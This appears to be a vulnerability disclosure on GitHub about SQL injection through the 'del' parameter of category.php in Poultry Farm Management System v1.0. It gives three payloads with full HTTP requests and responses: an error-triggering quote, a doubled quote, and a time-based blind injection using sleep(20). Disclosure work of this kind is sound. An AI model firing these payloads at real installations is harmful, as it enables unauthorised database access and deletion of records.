

main

...

bug_report / vendors / Nikhil_B / Poultry Farm Management System / SQLi-1.md

tavenli Update SQLi-1.md

History

1 contributor

81 lines (65 sloc) 2.76 KB

...

Poultry Farm Management System v1.0 by Nikhil_B has SQL injection

BUG_Author: TavenLi

vendors:<https://www.sourcecodester.com/php/15230/poultry-farm-management-system-free-download.html>

Vulnerability File: /Redcock-Farm/farm/category.php

GET parameter 'del' exists SQL injection vulnerability

Payload1: /Redcock-Farm/farm/category.php?del=a'

```
GET /Redcock-Farm/farm/category.php?del=a' HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close
```

An error page

Request

```
1 GET /Redcock-Farm/farm/category.php?del=a' HTTP/1.1
2 Host: localhost
3 sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
4 sec-ch-ua-mobile: ?0
5 sec-ch-ua-platform: "Windows"
6 Upgrade-Insecure-Requests: 1
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
9 Sec-Fetch-Site: none
10 Sec-Fetch-Mode: navigate
11 Sec-Fetch-User: ?1
12 Sec-Fetch-Dest: document
13 Accept-Encoding: gzip, deflate
14 Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
15 Connection: close
16
17
```

Response

```
1 HTTP/1.1 302 Found
2 Date: Fri, 20 Oct 2022 03:18:49 GMT
3 Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.1.6
4 X-Powered-By: PHP/8.1.6
5 Set-Cookie: PHPSESSID=86jg5jbak3bkd3g957ebkfeutp; path=/
6 Expires: Thu, 19 Nov 1981 08:52:00 GMT
7 Cache-Control: no-store, no-cache, must-revalidate
8 Pragma: no-cache
9 Location: http://localhost/Redcock-Farm/farm/index.php
10 Content-Length: 484
11 Connection: close
12 Content-Type: text/html; charset=UTF-8
13
14 <br />
15 <br />
16 Fatal error
17 : Uncaught mysqli_sql_exception: You have an error in your SQL
18 syntax; check the manual that corresponds to your MariaDB server
19 version for the right syntax to use near ''a'' at line 1 in
20 D:\xampp\htdocs\Redcock-Farm\farm\category.php:27
21
22 Stack trace:
23 #0 D:\xampp\htdocs\Redcock-Farm\farm\category.php(27):
24 mysqli_query(Object(mysqli), 'delete from tbl...')
25 #1 (main)
26 thrown in <br />
27 D:\xampp\htdocs\Redcock-Farm\farm\category.php
28 on line <br />
29 27
30 </br>
31 <br />
```

Payload2: /Redcock-Farm/farm/category.php?del=a''

```
GET /Redcock-Farm/farm/category.php?del=a'' HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
```

Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close

An right page

Request

PrettyRawHex

```
1 GET /Redcock-Farm/farm/category.php?del=a' HTTP/1.1
2 Host: localhost
3 sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
4 sec-ch-ua-mobile: ?0
5 sec-ch-ua-platform: "Windows"
6 Upgrade-Insecure-Requests: 1
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71
  Safari/537.36
8 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,im
  age/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.
  9
9 Sec-Fetch-Site: none
10 Sec-Fetch-Mode: navigate
11 Sec-Fetch-User: ?1
12 Sec-Fetch-Dest: document
13 Accept-Encoding: gzip, deflate
14 Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
15 Connection: close
16
17
```

Response

PrettyRawHexRender

```
1 HTTP/1.1 302 Found
2 Date: Fri, 28 Oct 2022 03:20:05 GMT
3 Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.1.6
4 X-Powered-By: PHP/8.1.6
5 Set-Cookie: PHPSESSID=fkoplek0ebdqie075r28684r5u; path=/
6 Expires: Thu, 19 Nov 1981 08:52:00 GMT
7 Cache-Control: no-store, no-cache, must-revalidate
8 Pragma: no-cache
9 Location: http://localhost/Redcock-Farm/farm/index.php
10 Connection: close
11 Content-Type: text/html; charset=UTF-8
12 Content-Length: 14157
13
14 <script>
  alert('Category record deleted. ');
</script>
<script>
  window.location.href='category.php'
</script>
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width,
  initial-scale=1, shrink-to-fit=no">
    <title>
      RedCock Farm
    </title>
  
```

Payload3: /Redcock-Farm/farm/category.php?del=a'%2b(select*from(select(sleep(20)))a)%2b'

GET /Redcock-Farm/farm/category.php?del=a'%2b(select*from(select(sleep(20)))a)%2b' HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close

The server response time is 20 seconds

Request

PrettyRawHex

```
1 GET /Redcock-Farm/farm/category.php?del=
  a'%2b(select*from(select(sleep(20)))a)%2b' HTTP/1.1
2 Host: localhost
3 sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
4 sec-ch-ua-mobile: ?0
5 sec-ch-ua-platform: "Windows"
6 Upgrade-Insecure-Requests: 1
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/97.0.4692.71 Safari/537.36
8 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9
  ,image/avif,image/webp,image/apng,*/*;q=0.8,application
  on/signed-exchange;v=b3;q=0.9
9 Sec-Fetch-Site: none
10 Sec-Fetch-Mode: navigate
11 Sec-Fetch-User: ?1
12 Sec-Fetch-Dest: document
13 Accept-Encoding: gzip, deflate
14 Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
15 Connection: close
16
17
```

Response

PrettyRawHexRender

```
1 HTTP/1.1 302 Found
2 Date: Fri, 28 Oct 2022 03:25:21 GMT
3 Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n
  PHP/8.1.6
4 X-Powered-By: PHP/8.1.6
5 Set-Cookie: PHPSESSID=qv3labe0v6p3771fhle5v9su0t;
  path=/
6 Expires: Thu, 19 Nov 1981 08:52:00 GMT
7 Cache-Control: no-store, no-cache, must-revalidate
8 Pragma: no-cache
9 Location:
  http://localhost/Redcock-Farm/farm/index.php
10 Connection: close
11 Content-Type: text/html; charset=UTF-8
12 Content-Length: 12010
13
14 <script>
  alert('Category record deleted. ');
</script>
<script>
  window.location.href='category.php'
</script>
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="
  width=device-width, initial-scale=1,
  shrink-to-fit=no">
  
```

Inspector

Request Attributes

2

Request Query Parameters

1

Request Body Parameters

0

Request Cookies

0

Request Headers

14

Response Headers

11

12,456 bytes | 20,083 millis